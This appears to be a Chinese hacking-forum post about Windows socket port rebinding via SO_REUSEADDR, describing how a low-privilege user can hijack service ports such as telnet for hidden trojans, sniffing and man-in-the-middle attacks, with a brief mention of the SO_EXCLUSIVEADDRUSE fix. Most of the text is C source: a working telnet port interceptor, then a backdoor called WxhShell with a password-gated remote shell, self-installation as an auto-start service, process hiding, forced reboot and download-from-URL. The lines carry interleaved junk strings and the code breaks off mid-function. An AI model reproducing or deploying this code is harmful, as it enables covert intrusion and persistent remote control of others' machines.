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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $P'Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gy 0 m  
dC+WII`V  
  saddr.sin_family = AF_INET; EQ< qN<uW  
r ,I';vm<`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7[=*#7}.  
?5'EP|<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0?c2=Y   
ZNWo:N8;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q,S[[{("  
b7-M'-Km0_  
  这意味着什么?意味着可以进行如下的攻击: |Z6M?n  
Q8-;w{%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i/UDda"E  
2kukQj (n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AzFd#P  
uBpnfIe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hwb+@'o  
c,@&Z#IZ`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _{Z!$q6,  
l-^2>K[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @nWhUH%  
@6["A'h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FR*CiaD1  
wPr9N}rf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rF@njw@  
vbA<=V*P  
  #include t+9[ki  
  #include _PPZ!r(  
  #include |ty?Ah,vb  
  #include    Fh8 8DDJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }xx"  
  int main() y  J|/^qs  
  { ~Un+Zs%24  
  WORD wVersionRequested; gWk?g^KJL  
  DWORD ret; srbES6  
  WSADATA wsaData; 8'sT zB]  
  BOOL val;  _BFDsQ  
  SOCKADDR_IN saddr; I3I1<}>]Z  
  SOCKADDR_IN scaddr; $Wy(Wtrx|  
  int err; eW<|I  
  SOCKET s; ^j!2I&h1  
  SOCKET sc; {Mpx33  
  int caddsize; i7XM7 +}  
  HANDLE mt; O0^?VW$y_  
  DWORD tid;   41v#|%\w  
  wVersionRequested = MAKEWORD( 2, 2 ); M!wa }  
  err = WSAStartup( wVersionRequested, &wsaData ); BROn2aSx%  
  if ( err != 0 ) { f6,?Yex8B  
  printf("error!WSAStartup failed!\n"); 9u;/l#?@T  
  return -1; I}sb0 Q&  
  } [xdi.6 %  
  saddr.sin_family = AF_INET; <nk9IAH  
   $'x#rW>v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 } *jmW P  
#|"M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *e25!#o1  
  saddr.sin_port = htons(23); 1EMud,,:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9i46u20  
  { 5S*aZ1t18  
  printf("error!socket failed!\n"); +-!2nk`"a  
  return -1; `$9sYv 2R  
  } nN2huNTf:  
  val = TRUE; yNhRh>l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K|Xr~\=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FN/siw(?3  
  { E*x ct-m#  
  printf("error!setsockopt failed!\n"); JRR,ooN*i  
  return -1; n%6ba77  
  } !'#GdRstv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6~-,.{Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &^7(?C' u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j}O7fLRu  
 20]p<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bao"iv~z  
  { >qVSepK3  
  ret=GetLastError(); "vX\Q rL  
  printf("error!bind failed!\n"); F/cA tT.M?  
  return -1; uD?Rs`  
  } uO)vGzt3^x  
  listen(s,2); =6 3tp 9  
  while(1) L_tjclk0J  
  { KE6 XNG3  
  caddsize = sizeof(scaddr); i<(~J4}b  
  //接受连接请求 Sf*gAwnW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &xpvHKJl  
  if(sc!=INVALID_SOCKET) q+} \ (|  
  { >Q=Q%~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uu.}<VM.1  
  if(mt==NULL) sDY+J(Z  
  { $AizKiV  
  printf("Thread Creat Failed!\n"); {:|b,ep T  
  break; {.?pl]Zl6  
  } 9o4h~Imu  
  } H>Ucmd;ay  
  CloseHandle(mt); B}"V.Msv/  
  } ~6K.5t7  
  closesocket(s); p1\mjM  
  WSACleanup(); PuhvJHT  
  return 0; gZiwXb  
  }   Ss0I{0  
  DWORD WINAPI ClientThread(LPVOID lpParam) {  '402  
  { UmArl)R/  
  SOCKET ss = (SOCKET)lpParam; rP}[>  
  SOCKET sc; +&dkJ 4g[  
  unsigned char buf[4096]; Uy.ihh$I-  
  SOCKADDR_IN saddr; D&@Iuo  
  long num; *<[zG7+&[  
  DWORD val; !??g:2  
  DWORD ret; xI.0m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /2 hk9XM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1{wbC)  
  saddr.sin_family = AF_INET; 1w,34*-}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Vx5tOq  
  saddr.sin_port = htons(23); *H i}FI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !{{gL=_@  
  { cRuN;  
  printf("error!socket failed!\n"); rLE+t(x(0  
  return -1; ?20R\ ]U  
  } JypP[yQ  
  val = 100; nt+OaXe5D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d S'J@e=#  
  { ky-nP8L}  
  ret = GetLastError(); *G7cF  
  return -1; Zxhbnl6  
  } ~ rQ,%dH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^8A [ ^cgq  
  { c/ih%xR  
  ret = GetLastError(); X:I2wJDs\  
  return -1; "wuO[c&%/  
  } ZHa>8x;Mjl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #9Jr?K43  
  { Aq*?Q/pV  
  printf("error!socket connect failed!\n"); #r]Z2Y]  
  closesocket(sc); ? dHl'  
  closesocket(ss); K!.t}s.t  
  return -1; *coUHbP9>  
  } 6 Bdxdx*zt  
  while(1) lgS7;  
  {  oC*a;o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *U]&a^N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eBs.RR ]O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pjX=:K|  
  num = recv(ss,buf,4096,0); vq^';<Wh.  
  if(num>0) \~z$'3H`  
  send(sc,buf,num,0); ,z>-_HOnw  
  else if(num==0) N0-J=2  
  break; T'vI@i9  
  num = recv(sc,buf,4096,0); BWy-R6br  
  if(num>0) Q}OloA(+  
  send(ss,buf,num,0); H$C*&p  
  else if(num==0) 5cinI^x)f  
  break; @$n $f  
  } )LIn1o_,  
  closesocket(ss); Ec}%!p_$  
  closesocket(sc); Wm`*IBWA  
  return 0 ; 8K?}!$fz  
  } 8K-P]]  
|[Fb&x  
c8"Qmy  
========================================================== QfAmGDaYQ  
tEvDAI} 5  
下边附上一个代码,,WXhSHELL JJ ?'<)EF  
2#R$-* ;#  
========================================================== 1x;@BV  
xZ P SUEG  
#include "stdafx.h" (w)%2vZ^  
(k #xF"yI  
#include <stdio.h> 8I RKCuV  
#include <string.h> ]"uG04"Vk  
#include <windows.h> KFHZ3HZ:>  
#include <winsock2.h> _Ffg"xoC  
#include <winsvc.h> U(y8nI]  
#include <urlmon.h> 8+}rm6Y+  
qX5>[qf-  
#pragma comment (lib, "Ws2_32.lib") cMZy~>  
#pragma comment (lib, "urlmon.lib") >_ZEQC  
$M,<=.oT  
#define MAX_USER   100 // 最大客户端连接数 V&:x+swt  
#define BUF_SOCK   200 // sock buffer j;@a~bks6z  
#define KEY_BUFF   255 // 输入 buffer u1M8nb  
mz6]=]1w  
#define REBOOT     0   // 重启 y!P!Fif'  
#define SHUTDOWN   1   // 关机 AZc= Bbh  
2} pZyS  
#define DEF_PORT   5000 // 监听端口 n({%|O<|  
&lSNI5l  
#define REG_LEN     16   // 注册表键长度 VtI`Qc jc  
#define SVC_LEN     80   // NT服务名长度 9)W3\I>U-  
1gkpK`u(B  
// 从dll定义API tUx H 6IS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FqA4 O U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Q=y'<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U52 V1b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PB$beQ  
jOzXyDq  
// wxhshell配置信息 XJeWhk3R9  
struct WSCFG { ;K\2/"$QD  
  int ws_port;         // 监听端口 F ><_gIT  
  char ws_passstr[REG_LEN]; // 口令 UMRFTwY  
  int ws_autoins;       // 安装标记, 1=yes 0=no B;(U ?gC  
  char ws_regname[REG_LEN]; // 注册表键名 bpZA% {GS  
  char ws_svcname[REG_LEN]; // 服务名 S!u8JG1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Anyy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x6R M)rr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V 9$T=[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z8t;jw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" stajTN*J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R;Dj70g  
k*N!U[]  
}; Cwls e-  
/A,w{09G  
// default Wxhshell configuration p%mHxYP  
struct WSCFG wscfg={DEF_PORT, BZQ}c<Nl  
    "xuhuanlingzhe", 85G-`T  
    1, Vu.=,G  
    "Wxhshell", hJ`Gu7  
    "Wxhshell", N!~]D[D  
            "WxhShell Service", @!dIa1Q"  
    "Wrsky Windows CmdShell Service", zJy=1r  
    "Please Input Your Password: ", ?HPAX  
  1, q}L`8(a  
  "http://www.wrsky.com/wxhshell.exe", e,}h^^"  
  "Wxhshell.exe"  ]Pe>T&  
    }; /Z?o%/bw:  
Mw RLv,&"  
// 消息定义模块 @6~lZgXOV[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \7b, Mz!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IXtG 36O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xSD*e 0  
char *msg_ws_ext="\n\rExit."; <9X@\uvU.<  
char *msg_ws_end="\n\rQuit."; -}UY2)  
char *msg_ws_boot="\n\rReboot..."; \78^ O  
char *msg_ws_poff="\n\rShutdown..."; V4jMx[   
char *msg_ws_down="\n\rSave to "; { DP9^hg  
#fa,}aj  
char *msg_ws_err="\n\rErr!"; o]&q'>Rf  
char *msg_ws_ok="\n\rOK!"; ^,I2 @OS  
#T8o+tv  
char ExeFile[MAX_PATH]; YRV h[Bqg`  
int nUser = 0; n-8/CBEH(  
HANDLE handles[MAX_USER]; lFt!  
int OsIsNt; WT,I~'r=S  
|#o' =whTl  
SERVICE_STATUS       serviceStatus; &zy%_U2%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W;I{4ed6  
C5ILVQ  
// 函数声明 ~{lb`M^]h  
int Install(void); ben-<3r  
int Uninstall(void); <e BmCrJ  
int DownloadFile(char *sURL, SOCKET wsh); p*lP9[7  
int Boot(int flag);  Rw0|q  
void HideProc(void); ?:9y !Q=  
int GetOsVer(void); ;6PU  
int Wxhshell(SOCKET wsl); 0>CG2SRn  
void TalkWithClient(void *cs); 0=HB!{ @  
int CmdShell(SOCKET sock); :'Gn?dv|  
int StartFromService(void); :Y/aT[  
int StartWxhshell(LPSTR lpCmdLine); .TA)|df ^  
K!CVS7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z{OL+-OY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wnd #J `  
_@>*]g  
// 数据结构和表定义 ]'xci"qV`  
SERVICE_TABLE_ENTRY DispatchTable[] = 7WmLC  
{ &q|vvF<G  
{wscfg.ws_svcname, NTServiceMain}, ! N2uJ?t  
{NULL, NULL} kIS )*_  
}; E8kD#tL  
YG0/e#5  
// 自我安装 ktqFgU#rT  
int Install(void) -S]ercar  
{ Ux',ma1JK  
  char svExeFile[MAX_PATH]; =:g\I6'a  
  HKEY key; yWZ_  
  strcpy(svExeFile,ExeFile); 19GF%+L ,  
'{cND  
// 如果是win9x系统,修改注册表设为自启动 5: gpynE|  
if(!OsIsNt) { A7Y CSjB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cG0)F%?X?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *<cRQfA1  
  RegCloseKey(key); K3:z5j.X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yx?oxDJg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?84f\<"  
  RegCloseKey(key); g5 *E\T%8  
  return 0; r|}Pg}O  
    } RvA "ug.*  
  } bl!pKOY  
} r:o9:w:  
else { Bkq4V$D_  
z<t2yh(DF  
// 如果是NT以上系统,安装为系统服务 JQ}4{k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yqh-U%"'  
if (schSCManager!=0) )M7yj O!  
{ A iR#:r  
  SC_HANDLE schService = CreateService zhow\l2t}  
  ( BPW.&2?<  
  schSCManager, ~-sgk"$  
  wscfg.ws_svcname, }L Q%%  
  wscfg.ws_svcdisp, a m5;B`}q  
  SERVICE_ALL_ACCESS, ?8grK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tAjT-CXg  
  SERVICE_AUTO_START, ysp,:)-%G@  
  SERVICE_ERROR_NORMAL, 0?FJ ~pu  
  svExeFile, ^`xS| Sq1D  
  NULL, &Pv$nMB$I  
  NULL, ByoI+n* U  
  NULL, 5R.jhYAj  
  NULL, pT+OPOSR  
  NULL g;R  
  ); .I{u[ "  
  if (schService!=0) cc=_KYZ1k  
  { ~<IQe-Q 5  
  CloseServiceHandle(schService); oVUsI,8  
  CloseServiceHandle(schSCManager);  ]E :L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1A;,"8kBd  
  strcat(svExeFile,wscfg.ws_svcname); WB (?6"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S~z$ =IiB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `mZ1!I-T  
  RegCloseKey(key); i%f C`@  
  return 0; wuCZz{c7  
    } nF3Sfw,  
  } kMzDmgoxNg  
  CloseServiceHandle(schSCManager); Eos;7$u[  
} qoph#\  
} 4,)QV_?  
D][I#v h  
return 1; v7+|G'8M`  
} {9@E[bWp#  
V~.SgbLc  
// 自我卸载 SzG %%CXH_  
int Uninstall(void) uuUj IZCtz  
{ _{B2z[G}  
  HKEY key; 3!?QQT,!)  
2gvS`+<TP  
if(!OsIsNt) { w3>G3=b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;%>X+/.y0  
  RegDeleteValue(key,wscfg.ws_regname); Jx&+e,OST  
  RegCloseKey(key); nu|?F\o!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "tK3h3/Xv  
  RegDeleteValue(key,wscfg.ws_regname); @X/-p3729  
  RegCloseKey(key); hg+;!|ha  
  return 0; m|Z[8Tup  
  } ]?jmRk^ .  
} aO<H!hK  
} FzBny[F  
else { dt>!=<|k  
9FT==>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !<-+}X+o8$  
if (schSCManager!=0) }u5J<*:bZ  
{ % e70*;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b\t@vMJ  
  if (schService!=0) "bjbJC&T  
  { E?m W4?  
  if(DeleteService(schService)!=0) { O_SM!!,  
  CloseServiceHandle(schService); "yXqf%CGE  
  CloseServiceHandle(schSCManager); f K4M:_u  
  return 0; :~,akX$  
  } \ItAc2,Fl  
  CloseServiceHandle(schService); KkHlMwv  
  } XoiZ"zE  
  CloseServiceHandle(schSCManager); J= DD/Gp  
} /z(s1G.  
} TF,a `?c`  
l %xeM !}  
return 1; 9l7 youZ]  
} %x$mAOUv  
_lk5\bu  
// 从指定url下载文件 4_Rv}Y d  
int DownloadFile(char *sURL, SOCKET wsh) }% ?WS  
{ ~HgN'#Y?  
  HRESULT hr; v-Uz,3  
char seps[]= "/"; xWty2/!h  
char *token; -(.\> F  
char *file; rg+3pX\{  
char myURL[MAX_PATH]; %gx>|  
char myFILE[MAX_PATH]; yz=6 V%  
Z@:R'u2Lk  
strcpy(myURL,sURL); n %P,"V  
  token=strtok(myURL,seps); ; >>/}Jw\  
  while(token!=NULL) d e~3:  
  { SVyJUd_  
    file=token; c\eT`.ENk  
  token=strtok(NULL,seps); E@;v|Xc  
  } [$GQ]Y  
t~]oJ5%  
GetCurrentDirectory(MAX_PATH,myFILE); L`Q9-#Y  
strcat(myFILE, "\\"); \U'TL_Ql  
strcat(myFILE, file); vro5G')  
  send(wsh,myFILE,strlen(myFILE),0); 4K*DEVS  
send(wsh,"...",3,0); ?{6[6T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FUTDR-q O  
  if(hr==S_OK) Tn3f5ka'  
return 0; ! J@pox-t  
else gbRdng7(}  
return 1; -[`FNTTV C  
^l/$ 13=  
} 6<A3H$3b  
RJI*ZNb A  
// 系统电源模块 0<S(zva7([  
int Boot(int flag) zoBjrAyD  
{ ui6B  
  HANDLE hToken; tlFc+3  
  TOKEN_PRIVILEGES tkp; D+  **o  
QWGFXy,=1  
  if(OsIsNt) { \ow0Y >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J#W>%2 "s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }t #Hq  
    tkp.PrivilegeCount = 1; ;EfMTI}6K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Cx/duod p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dfq5P!'  
if(flag==REBOOT) { xX.Ox  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "]`QQT-{0  
  return 0; /_554q  
} ;nJCd1H  
else { 8)k.lPoo.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G:rM_q9\u  
  return 0; }a_: oR  
} jWW2&cBm\  
  } &WHEPdD  
  else { F'#e]/V1  
if(flag==REBOOT) {  U\~[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qQ6NxhQo  
  return 0; #z t+U^#)  
} &4DV]9+g  
else { i9)y|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }H ,A T  
  return 0; W:>RstbnMG  
} %/MK$  
} #PA"l` "  
}Gz"og*8  
return 1; ]@ [=FK^  
} ZcO!cR&*'J  
1^Zx-p3J  
// win9x进程隐藏模块 Krq^|DY  
void HideProc(void) =8dCk\/  
{  D#m+w  
IW1]H~1w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a<gzI  
  if ( hKernel != NULL ) }}(~'  
  { |$b4 {  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 65J'u N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v @N8v  
    FreeLibrary(hKernel); ohM'Fx"q  
  } I@L-%#@R1  
Y9w= [[1  
return; d=4MqX r  
} esu6iU@  
ln=zGX.e  
// 获取操作系统版本 dadMwe_l0  
int GetOsVer(void) %""CacX  
{ Ol%*3To  
  OSVERSIONINFO winfo; In;z\"NN4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5^d%+*l;q  
  GetVersionEx(&winfo); @g=A\2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x)* /3[  
  return 1; |XH3$;=*h  
  else Xs`:XATb/  
  return 0; y=j[v},4  
} \A~  '&  
4*9Dh  
// 客户端句柄模块 25 ~$qY_  
int Wxhshell(SOCKET wsl) ytC{E_  
{ TwhK>HN  
  SOCKET wsh; fVN}7PH7+  
  struct sockaddr_in client; T i/iD2g  
  DWORD myID; Y3zO7*-@  
{oJa8~P  
  while(nUser<MAX_USER) EqmJXDm  
{ D!sSe|sL^  
  int nSize=sizeof(client); JZnWzqFw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yR$_$N+E  
  if(wsh==INVALID_SOCKET) return 1; M!jW=^\  
Y}#^n7*w~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uHIWbF<0oo  
if(handles[nUser]==0) LK%B6-;~-  
  closesocket(wsh); ^ /BE=$E\  
else i|O7nB@  
  nUser++; vp|=q;Q%r  
  } Uy1xNb/d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *Fc&DQT(  
"PHv~_:^R  
  return 0; ,Df36-74v5  
} 0X-2).n u  
Rp|&1nS  
// 关闭 socket 8WGM%n#q  
void CloseIt(SOCKET wsh) iQIw]*h^  
{ dtBV0$  
closesocket(wsh); _Kj.  
nUser--; IjRmpVcwN  
ExitThread(0); 16Y~5JAc  
} htRZ}e  
[Z+,)-ke  
// 客户端请求句柄 *Kkw,qp/  
void TalkWithClient(void *cs) {4 d$]o0V  
{ 7jbm w<d)9  
(R<4"QbE  
  SOCKET wsh=(SOCKET)cs; gWo~o]f  
  char pwd[SVC_LEN]; t>sX.=\$  
  char cmd[KEY_BUFF]; ;wxt<   
char chr[1]; `6$b1qv,  
int i,j; j1C.#-P[  
~?5m5z O  
  while (nUser < MAX_USER) { wIj2 IAD  
7uxPkZbb  
if(wscfg.ws_passstr) { t g*[%Jf^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yj R O9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tuUXW5!/  
  //ZeroMemory(pwd,KEY_BUFF); ,O)\,tg  
      i=0; )YtL=w?L'  
  while(i<SVC_LEN) { {kH^OZ^(e  
XL=R]IC<.  
  // 设置超时 P$>kBW53  
  fd_set FdRead; f{c[_OR  
  struct timeval TimeOut; 15 11<,  
  FD_ZERO(&FdRead); da'E"HN@G~  
  FD_SET(wsh,&FdRead); )o</gt)  
  TimeOut.tv_sec=8; Hk*cO;c  
  TimeOut.tv_usec=0; *m@w^In^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /j/%wT2m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <^_Vl8%  
pQ:PwyU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s7i.p]  
  pwd=chr[0]; G?d,$NMo|  
  if(chr[0]==0xd || chr[0]==0xa) { dKQV4dc>  
  pwd=0; ;6txTcn`=  
  break; EJ ~k Z3  
  } PZ(<eJ>  
  i++; arQ %  
    } PbHh?iH  
}lTZq|;A  
  // 如果是非法用户,关闭 socket ('6g)@=\U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LA`V qJ  
} xqC<p`?4  
9r+O!kF(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &:I +]G/W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tm1UH 4  
`s> =Sn&UP  
while(1) { ,Zf!KQw  
EN)A"  
  ZeroMemory(cmd,KEY_BUFF); IPR tm!  
s P4 ,S(+e  
      // 自动支持客户端 telnet标准   +aw>p_\  
  j=0; m?VRX .>  
  while(j<KEY_BUFF) { [&qbc#L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Ej]X`F  
  cmd[j]=chr[0]; G P[r^Z  
  if(chr[0]==0xa || chr[0]==0xd) { 42>m,fb2[  
  cmd[j]=0; _`Q It>R  
  break; s >VEuLY*  
  } V}|v!h[O8  
  j++; 2vkB<[tSs  
    } -yAnn  
)Bn>/-  
  // 下载文件 h [IYA1/y  
  if(strstr(cmd,"http://")) { `<}V !Lo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M=AvD(+ha  
  if(DownloadFile(cmd,wsh)) KHlIK`r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4`Ut1g ^  
  else (HaKF7Jsi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N8XC~Dh{  
  } j:e^7|.   
  else { \5[D7}  
uPFHlT  
    switch(cmd[0]) { <m>l-]  
  D!RE-w92X  
  // 帮助 ]`@]<6  
  case '?': { P YF.#@":&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .IH@_iX  
    break; \+{t4Im  
  } nQ642i%RQ  
  // 安装 [X }@Ct6  
  case 'i': { :6W^ S/pf  
    if(Install()) Dr6s ^}}~n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *t.q m5h  
    else W{A #]r l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |)-|2cPRur  
    break; %'"HGZn b  
    } -MrtliepW*  
  // 卸载 v\ %B  
  case 'r': { 9fNu?dE   
    if(Uninstall()) Q54r?|'V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hwp{<  
    else >I4p9y(u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Har~MO?A  
    break; e"fN~`NhY  
    } [0&'cu>  
  // 显示 wxhshell 所在路径 gMs+?SNHAh  
  case 'p': { *K(k Kph  
    char svExeFile[MAX_PATH]; ufw3H9F(O  
    strcpy(svExeFile,"\n\r"); X*!Dc,0.k  
      strcat(svExeFile,ExeFile); ?< cM^$lI>  
        send(wsh,svExeFile,strlen(svExeFile),0); > -y&$1  
    break; BTTLy^  
    } p^1zIC>F  
  // 重启 +Qh[sGDdY  
  case 'b': { bmOqeUgB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N0Efw$u  
    if(Boot(REBOOT)) 0n:?sFY>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y=AsgJ  
    else { 9u,8q:I.?  
    closesocket(wsh); yiV G ]s  
    ExitThread(0); qoj^_s6  
    } /O|:{LQ  
    break; Y?yo\(Cdx  
    } .u1X+P7  
  // 关机 8Q2]*%  
  case 'd': { A4G,}r *n  
